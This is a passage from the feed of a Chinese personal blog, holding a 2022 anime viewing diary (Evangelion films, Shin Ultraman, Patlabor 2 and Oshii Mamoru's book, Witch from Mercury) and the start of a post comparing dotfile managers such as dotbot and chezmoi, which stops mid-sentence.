&lt;p&gt;我讨厌《EVA》及其粉丝、模型，不过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;给我推荐《Komm,
süsser
Tod》后我觉得还挺好听。正好亚马逊上有全部剧场版，就找个周末一口气给看完了。&lt;&#x2F;p&gt;
&lt;p&gt;前两部好些搞笑情节很生硬。第三部开始，不说人话的人从司令变成了主角外所有人，主角也变得听不懂人话。第四部红衣服女主要男主承担责任的桥段不错，结尾&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号机和初号机在特摄棚打架那场更不错：巨大的都市布满方块楼，皮套演员一样的动作……哦，太妙了。不过其他部分挺无语的，尤其是那一堆白模出现时——可能他就像表达它们是白的，但给我看总感觉是没渲染完的片段就拿过来用了。&lt;&#x2F;p&gt;
&lt;p&gt;看完后四部后深感心理疏导师在家庭中作用之重大。这当爹的哪怕找个树洞倾诉都能解决问题。&lt;&#x2F;p&gt;
&lt;p&gt;看完后第二天犹豫了好久要不要骑车去还书——我所在的城市鲜有自行车道，法律规定应当在汽车道骑，但就算是我的本地人同事也不太敢在汽车道骑。思来想去，想起了看电影时嘲笑男主不敢上机，我毅然决然地骑车到了图书馆。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Decisive
Battle》开头的鼓点让我想起《Hallucination》的开头，但连续听的话会发现差别很大。建议听完前奏再往下翻，否则音乐放完后页面会自动滚回来影响阅读——这没辙，只能怪苹果。&lt;&#x2F;p&gt;
&lt;iframe allow=&quot;autoplay *; encrypted-media *; fullscreen *; clipboard-write&quot; frameborder=&quot;0&quot; height=&quot;175&quot; style=&quot;width:100%;overflow:hidden;background:transparent;&quot; sandbox=&quot;allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation&quot; src=&quot;https:&#x2F;&#x2F;embed.music.apple.com&#x2F;us&#x2F;album&#x2F;decisive-battle&#x2F;1500836561?i=1500836576&quot;&gt;
&lt;&#x2F;iframe&gt;
&lt;iframe allow=&quot;autoplay *; encrypted-media *; fullscreen *; clipboard-write&quot; frameborder=&quot;0&quot; height=&quot;175&quot; style=&quot;width:100%;overflow:hidden;background:transparent;&quot; sandbox=&quot;allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation&quot; src=&quot;https:&#x2F;&#x2F;embed.music.apple.com&#x2F;us&#x2F;album&#x2F;hallucination&#x2F;1634443677?i=1634444857&quot;&gt;
&lt;&#x2F;iframe&gt;
&lt;h3 id=&quot;《新・奥特曼》&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;新・奥特曼》&lt;&#x2F;h3&gt;
&lt;p&gt;挺好看的。有人认为部分镜头有物化女性之嫌，我也承认。庵野秀明令人佩服，能在大银幕上放这些镜头，不说合不合适，总之是有魄力。&lt;&#x2F;p&gt;
&lt;p&gt;我个人很喜欢开头那个各色粒子旋转成扭曲的色块，然后出现“新・哥斯拉”字样，接着马上变红黑爆炸的画面。十分复古，有昭和味了。奥特旋转、奥特甩手这些致敬也令人忍俊不禁。另一个很喜欢的镜头是接近结局时男女主在一个充满白色网格的建筑里告别。摄像机斜着拍摄原本方正的网格，而男女主又站在角落的网格里，给人难受的感觉。&lt;&#x2F;p&gt;
&lt;p&gt;我对《新・奥特曼》和《新・哥斯拉》的疑惑是：庵野不是导演，他到底参与了哪些工作？那个导演是不是个没有思想的替身啊。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;《机动警察剧场版2》和押井守&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;机动警察剧场版&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2》和押井守&lt;&#x2F;h2&gt;
&lt;p&gt;众所周知我买书的标准很低：亚马逊挑一摞没人要的书打折时我总会收上几本。然后把书放在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kindle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里等电子蛀虫给它增添好风味后再拿出来阅读。今年七月中旬买了押井守的《我每天只工作&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，到九月底时发现这本书比想象中的有趣，就一口气读完了。&lt;&#x2F;p&gt;
&lt;p&gt;那本书是押井守从电影里给打工人总结工作经验的。押井守这人就没怎么正经工作过，从虚构的作品里总结现实中能用到的经验又显得天方夜谭。我最初把它当成笑话集看，但不知不觉中又觉得这位导演毕竟是多活了几十年，说话还是挺有道理的。&lt;&#x2F;p&gt;
&lt;p&gt;书中有一篇分析起了押井守自己的《机动警察剧场版&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。原来那部剧场版讲的是“中层领导断下属后路来让下属替自己的目的卖命”这件事。我虽然说过“&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;mad-max&#x2F;&quot;&gt;我讨厌重温电影&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，但我还是又看了一遍剧场版。不得不说，后藤队长确实鸡贼。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;于是我就想，自己与机动警察中的特车二课之间有什么相似的地方。他们勉强可称得上专业人士，但却是一支全然不受期待的废柴部队。在不受期待之余，他们也就没有任何包袱。这让我觉得他们就跟高中生没两样。因此简单来讲，机动警察可说是一个高中生的世界。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;因此我想在电影当中只能描绘学生与班主任之间的关系，便以队长作为《机动警察&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2》的主题。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;当执政者与身为公务员的自己在正义的认知上有所差异时，公务员如果仍想实现心目中的理想，那么情况会如何呢？&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;机动警察&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2》就是一部在描写此情况的电影。它讲述的是一段若是想实现正义，就得发动政变的故事。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;他们不将完成组织的目的视为第一优先，而是将以利用组织来自我实现作为目标。这部电影描述的是“中层管理人员”自我实现的主题，因此我认为社会人士看了绝对会感到很有趣，结果也正如我所料。社会人士对这部电影的反应相当热烈。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;也就是说，最为重要的技巧在于做到善用信息力，同时不强制执行命令，不给下属其他选项，借此逼迫下属。而另一项重要技巧则是“最后要由自己扛起责任&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。这是理所当然的事，如果只赌上下属的职位，没有同时赌上自己的职位，那么任谁都不会为自己工作。后藤在电影中也赌上了自己的职位。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;即便下属在过程当中吃尽苦头，只要最后的结果是好的，仍旧能让下属欣然接受。我想那些与我携手制作动画的工作人员，在最后也会产生上述反应。只是其中有一半是再也不会来了（笑&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;押井守在那篇讲解里，还提到：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;当时只不过是因为政治家无力阻止军人发动战争，同时天皇陛下也被用来谋求军人利益。事实上，当年的皇室乃是反战派的代表呢！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这段“战争”说的是二二六事件，不是侵华战争。侵华战争时皇室反战派只有三笠宫崇仁亲王一人，指导南京大屠杀的朝香宫鸠彦王和推动侵华战争的裕仁可都是日本皇室。&lt;&#x2F;p&gt;
&lt;p&gt;国内普遍认为押井守是好同志，但在我看来他确实反美，可没有想过反战的事：在那本书里后面的章节还有把关东军当作积极工作的优秀代表。我是觉得吧，还是别把他看得太好。另外近几年网络上流行起一股左派潮流，我最开始以为这是好事，可在现实生活中接触了一两个网左后发现他们早已脱离实际进入空想的领域了。我的建议是“要警惕右，但主要是防止左&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;另外还有一点关于观影时要不要把电影当作现实的。我是从没想过把电影（和动画）当作现实，不过押井守下面这段话让我想要试着把电影当现实，从而发现另一种视角所看不见的内容。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;说到我为何会有《生之欲》与《机动警察&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2》相同的看法，是因为我会把每部电影都看成是现实。换言之，我的心中不停追寻着“何谓电影&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”这个问题的答案。而将电影看成是现实，与漫不经心地观看，两者能看到的事物将会截然不同。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;那部《我每天只工作&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时》还从“妈妈不需要我了”的角度点评了《大破天幕危机&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，并且推荐了《俄罗斯之恋&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。我因此去亚马逊上看了《俄罗斯之恋&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，除了最开始在舞女身上写演员表外没有吸引我的地方。最后的火车包厢打戏更是出现了音效和动作不一致，我都惊了。&lt;&#x2F;p&gt;
&lt;p&gt;在讲解《大破天幕危机》时，押井守还提到了有观众基础的影片尤其适合导演讲自己的事：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;由于《007》系列已经行之有年，观众也对其基础部分存有认知，剧组也就可以随意胡来了。这也是我常用的技巧。&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;福星小子&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;《机动警察&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;《攻壳机动队》皆是如此。要在作品既有的架构当中实现某些事，这部分就归编剧与导演管了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这就是押井守之所以成为“原作粉碎机”的原因：他要讲自己的故事。&lt;&#x2F;p&gt;
&lt;p&gt;看完那本书没多久，又看到&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;bbs.saraba1st.com&#x2F;2b&#x2F;forum.php?mod=viewthread&amp;amp;tid=2100324&quot;&gt;有人发帖认为《攻壳机动队：无罪》之所以褒贬不一，是因为押井守简化了故事主线，强调了他所关心的要素&lt;&#x2F;a&gt;。这样的走向和攻壳九五版观众的预期不一致，所以有的人喷有的人爱。我是只看过《无罪》并且对《攻壳机动队》没有爱的观众（倒是买了一个会动的塔奇克马模型，因为确实很可爱&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，但我觉得帖子作者的意思和押井守上面那段话是类似的——&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;观众对其基础部分存有认知，剧组就可以随意胡来了&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;《高达：水星的魔女》&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;高达：水星的魔女》&lt;&#x2F;h2&gt;
&lt;p&gt;很难讲我看高达并且热爱高达的理由是什么。最近在考虑尝试和同样喜欢高达的同学做播客玩，也许会在那里讨论吧。我上一次追的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版高达是一四年的《G&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之复国运动&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;（后来又看了&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;A-Canticle-For-Syd-Mead&#x2F;&quot;&gt;躺&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A&lt;&#x2F;a&gt;，不过看完结的作品终究不如追更新刺激——新番可是“谁都无法预测的命运之舞台&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。几年后万代又出了两部火星的高达，因为机设过于丑陋所以我是看都没看（也有人说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;G-Self&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;丑，但我感觉很有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;G-Self&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的机设给人朝气蓬勃的感觉&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;——从观众反馈来看，我没看是正确的选择。到了二二年——难以想象，距离一四年已经有八年了。我重拾博客的原因之一是放在公网上的网页相比放在柜子里的本子更容易翻阅，也因此更容易察觉时间之流逝。&lt;&#x2F;p&gt;
&lt;p&gt;总之，今年万代又有新的高达放送了。机设虽然奇怪，但不像火星那部那般丑陋。引入了喜闻乐见的百合要素，我是感觉还不错——可能因为我已经选出了最喜欢的高达作品，所以不在意任何作品冠以高达之名了。对于《水星的魔女》后续如何，我表示期待。&lt;&#x2F;p&gt;
&lt;p&gt;但是，别忘了现在可以看剧场版《G&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之复国运动》的最后两部了。据说第四部后半是可以让全体制作人员留名青史的大场面，等安顿下来了我再找个周末把五部剧场版一气看完。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;其他动画&quot;&gt;其他动画&lt;&#x2F;h2&gt;
&lt;p&gt;仔细一想，我今年好像不止看过上面提到的动画。年初看的是《更衣人偶坠入爱河&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，年中同时看的《契约之吻》和《石蒜后坐力&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。它们都挺好的，就是看得我有些乏了。前几集都是每周都看，但《更衣人偶》的最后一集是在播出后两周左右才看的，后两者的最后一集我是到现在都没看呢。&lt;&#x2F;p&gt;
&lt;p&gt;还有个《少女歌剧剧场版&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，不知为何有种《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;mad-max&#x2F;#Fury_Road&quot;&gt;Mad
Max 4&lt;&#x2F;a&gt;》的感觉。&lt;&#x2F;p&gt;
&lt;p&gt;另外还有《街角魔族&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，由于是上半年看的被我忘记了。其实当初看完第一季就去看了漫画。几年后再看动画版，有一种把我带回疫情前的镇定感：就是那种，未来稳步向好的幻觉。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;何时停止看动画&quot;&gt;何时停止看动画&lt;&#x2F;h2&gt;
&lt;p&gt;这是类似何时停止呼吸的问题。我的答案是：我不知道，我希望那一刻晚点到来。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;anime-2022
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;anime-2022&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>管理点文件的尝试</title>
    <published>2022-12-28T00:32:30+00:00</published>
    <updated>2024-02-24T22:21:46+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/dotfiles/" type="text/html" />
    <id>https://emptystack.top/dotfiles/</id>
    <content type="html">
      &lt;p&gt;我有一件事从一九年初纠结至今。那是个不留意就不会有问题，但留意之后就会一直纠结的话题。我虽然没有找到满意的解决方法，但还是试了几个工具去尝试解决。不吐不快——纠结这么久也没解决的问题，只有写出来能让我舒服些。&lt;&#x2F;p&gt;
&lt;p&gt;我所纠结的是管理&lt;ruby&gt;点文件&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;dotfiles&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;的方式。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#为什么要管理点文件&quot;&gt;为什么要管理点文件&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#失败的尝试&quot;&gt;失败的尝试&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#dotbot&quot;&gt;dotbot&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#chezmoi&quot;&gt;chezmoi&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#Scala_3_+_GraalVM&quot;&gt;Scala 3 + GraalVM&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#目前的方法&quot;&gt;目前的方法&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#Bash_+_ESH&quot;&gt;Bash + ESH&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#方便裁剪的注释&quot;&gt;方便裁剪的注释&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#一些点文件片段&quot;&gt;一些点文件片段&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#fish&quot;&gt;fish&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#PowerShell&quot;&gt;PowerShell&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#Bash&quot;&gt;Bash&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#Z_Shell&quot;&gt;Z Shell&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#Git&quot;&gt;Git&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#Beets&quot;&gt;Beets&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#(Neo)Vim&quot;&gt;(Neo)Vim&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#Emacs&quot;&gt;Emacs&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#XMonad&quot;&gt;XMonad&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#fontconfig&quot;&gt;fontconfig&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;为什么要管理点文件&quot;&gt;为什么要管理点文件&lt;&#x2F;h2&gt;
&lt;p&gt;很多软件很强大，但不配置一下的话根本没法用（往好了说是可玩性高&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;superuser.com&#x2F;questions&#x2F;997593&#x2F;why-does-zsh-insert-a-when-i-press-the-delete-key&quot;&gt;Z
Shell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;默认情况下连&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Delete&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;键都不给你绑定&lt;&#x2F;a&gt;、&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;vimdoc.sourceforge.net&#x2F;htmldoc&#x2F;starting.html#compatible-default&quot;&gt;Vim&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;找不到配置文件就模拟&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vi&lt;&#x2F;a&gt;，等等。那些软件的配置文件以点开头（.zshrc、.vimrc&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，所以又称点文件&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;其实点开头的文件是隐藏文件——大部分软件用把自己的配置文件隐藏起来，以防碍事。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;客观来讲，抄&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写两行配置确实能让工具变得更应手。但倾注在点文件上的时间越多，就越怕失去它；而且很少有人只用一台电脑。所以需要有一种手段追踪、备份、同步这些点文件。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;失败的尝试&quot;&gt;失败的尝试&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;dotbot&quot;&gt;dotbot&lt;&#x2F;h3&gt;
&lt;p&gt;最初我使用的点文件管理器是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;anishathalye&#x2F;dotbot&quot;&gt;dotbot&lt;&#x2F;a&gt;。那个软件很不错，但有一个致命的缺陷：它使用软链接把仓库里的文件链接到其他软件期望的路径。&lt;&#x2F;p&gt;
&lt;p&gt;为什么软链接是个问题？因为两台电脑上的同一软件可能需要不同的配置。只用软链接的话，就需要把配置文件拆成三份：A、B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;电脑共通的部分和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A、B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;独有的部分。然后在共通部分中再判断当前电脑是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;B，读取各自独有的部分。如果软件使用功能完备的语言来配置的话，这样做没什么问题；但有些软件的配置语言不含任何逻辑判断、分支功能，就没法用这种方法。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chezmoi&quot;&gt;chezmoi&lt;&#x2F;h3&gt;
&lt;p&gt;在二〇年末我发现了带有模板功能的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;twpayne&#x2F;chezmoi&quot;&gt;chezmoi&lt;&#x2F;a&gt;，就抛弃&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;dotbot&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。模板是很有用的功能：不管配置语言是否完备，我都可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chezmoi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;对不同计算机生成不同的点文件。不过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chezmoi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也不完美：它号称跨平台，但对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Windows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的支持几乎可以说是没有。另外它选择复制哪些点文件的方式很反人类：我需要告诉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chezmoi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;哪些点文件不被使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不要把某文件安装到哪。正常的思路应该是告诉工具哪些点文件需要被使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;要把某文件安装到哪（dotbot&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是这么做的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。总之，chezmoi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;除了拥有模板功能外，一点不合我胃口。&lt;&#x2F;p&gt;
&lt;p&gt;另外我不懂法语，不会念&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;i lang=&#x27;fr&#x27;&gt;chez
moi&lt;&#x2F;i&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Scala_3_+_GraalVM&quot;&gt;Scala 3 + GraalVM&lt;&#x2F;h3&gt;
&lt;p&gt;管理点文件的核心功能，说白了只是个复制而已。既然如此，为什么不自己写一个呢？我厌倦&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chezmoi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时恰逢&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scala
